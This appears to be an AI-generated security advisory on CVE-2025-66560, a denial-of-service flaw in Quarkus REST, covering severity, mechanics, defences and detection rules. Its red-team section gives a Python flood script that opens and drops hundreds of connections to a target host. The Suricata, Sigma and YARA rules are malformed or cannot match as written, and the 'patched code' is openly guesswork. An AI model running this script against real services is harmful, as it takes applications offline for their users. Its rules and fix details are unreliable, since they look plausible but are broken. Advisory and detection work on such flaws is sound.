CVE-2025-66560

Executive Summary

CVE-2025-66560 is a denial-of-service (DoS) vulnerability in the Quarkus framework, specifically within its REST (formerly RESTEasy Reactive) HTTP layer. The flaw resides in how the framework handles response transmission when a client connection is abruptly terminated. During the writing of a response, Quarkus waits for previously written chunks to be fully transmitted. If the client disconnects during this wait, the worker thread becomes permanently blocked and is never released back to the pool. Repeated exploitation can exhaust all available worker threads, leading to complete application unavailability. The vulnerability has a CVSS score of 5.9 (Medium) and affects all Quarkus versions prior to 3.31.0, 3.27.2, and 3.20.5. No public proof-of-concept (PoC) or exploit code is currently available.

Supply Chain & Package Security

This vulnerability affects the Quarkus framework, which is distributed via Maven Central and other package registries. Organizations using Quarkus in their Java applications should immediately verify their dependency version. The vulnerable component is part of the quarkus-rest (or quarkus-resteasy-reactive) extension. Supply chain risk is elevated because the vulnerability can be triggered by any client that can establish an HTTP connection and then disconnect, making it exploitable without authentication.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required; a simple TCP disconnect suffices.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – The attack does not require any user action.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): None – No data exposure.
• Integrity (I): None – No data modification.
• Availability (A): High – Complete loss of application availability is possible.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no auth, low complexity) and the potential for complete service disruption make this a significant operational risk, especially for internet-facing Quarkus applications.

Deep Dive & Mechanics

The vulnerability is rooted in the asynchronous I/O handling of Quarkus REST. When a response is generated, the framework uses a worker thread to write the response body in chunks. The internal logic includes a synchronization point where the thread waits for the previous chunk to be acknowledged as sent by the underlying network layer (e.g., Vert.x or Netty). This is typically implemented using a CountDownLatch, CompletableFuture, or similar concurrency primitive.

If the client disconnects (e.g., closes the TCP connection or the browser tab) while the server is waiting for this acknowledgment, the callback that would normally release the waiting thread never fires. The thread remains blocked indefinitely on the await() or get() call. Because Quarkus uses a fixed-size worker thread pool (default is typically 20-200 threads), a sustained attack involving rapid connections followed by immediate disconnects can quickly exhaust the pool. Once all threads are blocked, the application becomes unable to process any new requests, resulting in a complete denial of service.

The vulnerability is specific to the reactive/async response handling path. Traditional blocking endpoints (e.g., those using @Suspended or @Blocking) may not be affected, but the default reactive path in Quarkus REST is vulnerable.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but the fix likely involves modifying the response completion handler to properly release the worker thread even when the client disconnects. This can be achieved by adding a timeout to the wait operation or by using a more robust callback mechanism that handles connection reset exceptions.

Vulnerable Pattern (Conceptual):

// Vulnerable: Thread blocks indefinitely waiting for write completion
CompletableFuture<Void> writeFuture = writeChunk(chunk);
writeFuture.get(); // Blocks if client disconnects and callback never fires

Patched Pattern (Conceptual):

// Patched: Timeout or proper exception handling prevents thread blocking
CompletableFuture<Void> writeFuture = writeChunk(chunk);
try {
    writeFuture.get(30, TimeUnit.SECONDS); // Timeout prevents indefinite block
} catch (TimeoutException | InterruptedException e) {
    // Handle timeout, release resources, and return error response
    writeFuture.cancel(true);
    throw new ServiceUnavailableException();
}

The patched versions (3.31.0, 3.27.2, 3.20.5) include this fix. Users should upgrade to these versions or later.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Since no public exploit code is available, a simple script can be used to simulate the attack. The goal is to open many HTTP connections to a vulnerable Quarkus endpoint, send a request, and then immediately close the connection before the response is fully received.

Python Exploit Script (Conceptual):

import socket
import threading
import time

TARGET_HOST = "target.example.com"
TARGET_PORT = 8080
THREAD_COUNT = 200  # Exceed worker thread pool size

def send_and_disconnect():
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET_HOST, TARGET_PORT))
        # Send a simple HTTP GET request
        request = b"GET /api/endpoint HTTP/1.1\r\nHost: target.example.com\r\nConnection: keep-alive\r\n\r\n"
        sock.send(request)
        # Immediately close the connection without reading the response
        sock.close()
    except:
        pass

def main():
    print(f"Launching DoS attack against {TARGET_HOST}:{TARGET_PORT}")
    threads = []
    for i in range(THREAD_COUNT):
        t = threading.Thread(target=send_and_disconnect)
        threads.append(t)
        t.start()
        time.sleep(0.01)  # Slight delay to avoid overwhelming local resources

    for t in threads:
        t.join()
    print("Attack completed. Check if target is unresponsive.")

if __name__ == "__main__":
    main()

Expected Outcome: After running the script, the target Quarkus application should become unresponsive to new HTTP requests. Existing connections may also hang.

Blue Team (Defense & Detection)

1. Monitor Worker Thread Pool: Implement a health check that monitors the number of active and idle worker threads. A sudden spike in active threads with no corresponding increase in request rate is a strong indicator.
2. Connection Tracking: Log and alert on connections that are established but never complete a full HTTP exchange (e.g., connections that send a request but close before receiving a response).
3. Rate Limiting: Implement rate limiting per source IP to mitigate the impact of a rapid-fire disconnect attack.
4. Timeout Configuration: Ensure that the HTTP server (e.g., Vert.x) has appropriate connection and request timeouts configured. This can help release resources even if the application logic is flawed.
5. WAF Rules: Deploy Web Application Firewall (WAF) rules to detect and block patterns of rapid connections followed by immediate disconnects.

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of TCP connections from a single or small set of IP addresses that are established and then immediately closed (RST or FIN) without completing an HTTP response.
  • Connections with a very short duration (e.g., < 1 second) and no response data transferred.
• System IOCs:
  • Worker thread pool exhaustion: java.util.concurrent.RejectedExecutionException or similar errors in application logs.
  • Thread dumps showing many threads in WAITING or BLOCKED state on a CountDownLatch or CompletableFuture related to response writing.
  • Application becomes unresponsive to new HTTP requests while existing connections hang.
• Log IOCs:
  • Repeated occurrences of IOException: Connection reset or SocketException: Broken pipe in server logs, especially when correlated with thread pool exhaustion.
  • Health check endpoints returning 503 Service Unavailable or timing out.

Detection Engineering

YARA Rule

rule CVE_2025_66560_Quarkus_DoS {
    meta:
        description = "Detects potential exploitation of CVE-2025-66560 by identifying thread dumps with blocked worker threads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66560"
    strings:
        $thread_block = /"quarkus-rest"|"RESTEasy Reactive"|"io.quarkus.rest"/ nocase
        $waiting_state = /WAITING|BLOCKED/
        $countdown_latch = /CountDownLatch|CompletableFuture/
    condition:
        $thread_block and $waiting_state and $countdown_latch
}

Sigma Rule

title: Quarkus Worker Thread Pool Exhaustion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-66560 by monitoring for worker thread pool exhaustion in Quarkus applications.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66560
logsource:
    category: application
    product: quarkus
detection:
    selection:
        - "RejectedExecutionException"
        - "Thread pool exhausted"
        - "quarkus.worker.threads"
    condition: selection
falsepositives:
    - Legitimate high load conditions
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"CVE-2025-66560 Quarkus DoS Attempt"; flow:to_server; content:"GET"; http_method; content:"Host"; http_header; pcre:"/Connection\s*:\s*keep-alive/i"; flags:S; threshold:type both, track by_src, count 100, seconds 10; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade Quarkus to version 3.31.0, 3.27.2, 3.20.5, or later. This is the definitive fix.
2. Workaround - Health Check: Implement a custom health check that monitors the worker thread pool saturation. If the number of active threads exceeds a threshold (e.g., 80% of the pool size), mark the application as unhealthy and trigger auto-scaling or restart.
3. Workaround - Connection Timeout: Configure the HTTP server to enforce a maximum time for response transmission. In Quarkus, this can be done via quarkus.http.idle-timeout and quarkus.http.read-timeout.
4. Workaround - Rate Limiting: Use a reverse proxy (e.g., Nginx, HAProxy) or API gateway to rate-limit incoming connections per source IP.
5. Monitoring: Continuously monitor thread pool metrics and set up alerts for abnormal thread retention.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.